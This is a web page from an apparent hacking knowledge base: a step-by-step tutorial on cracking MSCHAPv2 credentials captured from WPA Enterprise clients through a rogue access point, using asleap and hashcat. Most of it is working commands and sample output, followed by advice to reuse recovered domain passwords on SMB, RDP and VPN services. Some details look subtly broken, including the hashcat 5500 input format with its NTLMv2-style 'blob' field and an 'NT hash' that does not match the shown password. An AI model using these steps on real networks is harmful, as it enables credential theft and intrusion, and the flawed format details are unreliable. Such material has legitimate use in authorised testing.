# Cracking MSCHAPv2 with Asleap and Hashcat

> Exploit MSCHAPv2 weaknesses by capturing challenge-response pairs, then crack NT hashes offline using Asleap or Hashcat to recover plaintext credentials.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/cracking-mschapv2-with-asleap-and-hashcat
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-08-11

MSCHAPv2 credentials captured from a rogue AP attack consist of a username, a challenge, and a response. The response is computed from the NT hash of the user's password and the challenge value. Cracking it recovers the NT hash first and then the plaintext password. You can crack MSCHAPv2 with hashcat for GPU-accelerated speed or use asleap to work directly against capture files on the command line.

MSCHAPv2 hashes come from WPA Enterprise (PEAP/EAP-TTLS) authentication exchanges. Rogue AP tools like hostapd-mana capture the challenge/response during the EAP handshake. The same hash format also appears in PPTP VPN authentication and NTLM relay scenarios. MSCHAPv2 is fundamentally weak because the response is derived from the DES-based NT hash split into three independent 7-byte blocks, reducing the effective keyspace for each block. This means even a strong password can be cracked quickly with GPU hardware.

This page assumes you have captured MSCHAPv2 credentials from a hostapd-mana session. See the EAP credential harvesting page if needed.

## Crack MSCHAPv2 with asleap

asleap reads MSCHAPv2 hashes directly from a pcap file or from manually supplied values:

```bash
asleap -r corp-capture-01.cap -W /usr/share/wordlists/rockyou.txt
# asleap version 2.2 - actively exploiting weak LEAP and PPTP passwords
# Using wordlist mode with "rockyou.txt".
# Username: CORP\jsmith
# challenge: 4a6f8d2e1b9c3f7a
# response:  8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c
# NT hash: 5d41402abc4b2a76b9719d911017c592
# password: password123
```

asleap is CPU-based and slower than hashcat but requires no conversion step when working from a pcap file.

## Crack MSCHAPv2 with hashcat

hashcat mode `5500` handles MSCHAPv2 (NetNTLMv1 algorithm). Format the captured credentials into the required hashcat input format:

```bash
echo 'jsmith::CORP:4a6f8d2e1b9c3f7a:8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c:0101000000000000' > mschapv2.txt
```

```bash
hashcat -m 5500 mschapv2.txt /usr/share/wordlists/rockyou.txt
# jsmith::CORP:4a6f8d2e...:password123
```

The format for the hash is `username::domain:challenge:response:blob`. The blob value (last field) can be set to a placeholder of zeros when working from hostapd-mana output that does not include the full NTLM blob.

## Apply Rules for Better Coverage

```bash
hashcat -m 5500 mschapv2.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

## Extract Credentials from a Capture File Directly

If you captured the enterprise exchange in a pcap file rather than through hostapd-mana's credential log, use asleap to extract and crack in one step:

```bash
asleap -r corp-capture-01.cap -W /usr/share/wordlists/rockyou.txt -v
```

Once the plaintext password is recovered it is a valid Active Directory credential. Test it against other services on the network: SMB, RDP, VPN, and web applications commonly accept the same credentials.

## When MSCHAPv2 Cracking Fails

Cracking does not always succeed. Common reasons:

- The password is not in the wordlist and no rule mutation covers it. Try larger lists (e.g. `SecLists/Passwords`) or mask attacks in hashcat (`-a 3`) for short passwords.
- The captured response is incomplete or corrupted. hostapd-mana sometimes logs partial exchanges when the client disconnects mid-handshake. Verify the challenge and response lengths match the expected format.
- The hash format is wrong for the hashcat mode. Mode 5500 expects NetNTLMv1, which covers MSCHAPv2. Mode 5600 (NetNTLMv2) does not apply here. Using the wrong mode silently fails with zero results.
- Machine accounts (ending in `$`) authenticate with randomly generated passwords that are not crackable by dictionary attack. Skip these and focus on user accounts.

## References

- [Hashcat: documentation](https://hashcat.net/wiki/doku.php?id=hashcat) - Mode 5500 NetNTLMv1/MSCHAPv2 hash format reference
- [joswr1ght/asleap on GitHub](https://github.com/joswr1ght/asleap) - asleap usage and pcap extraction reference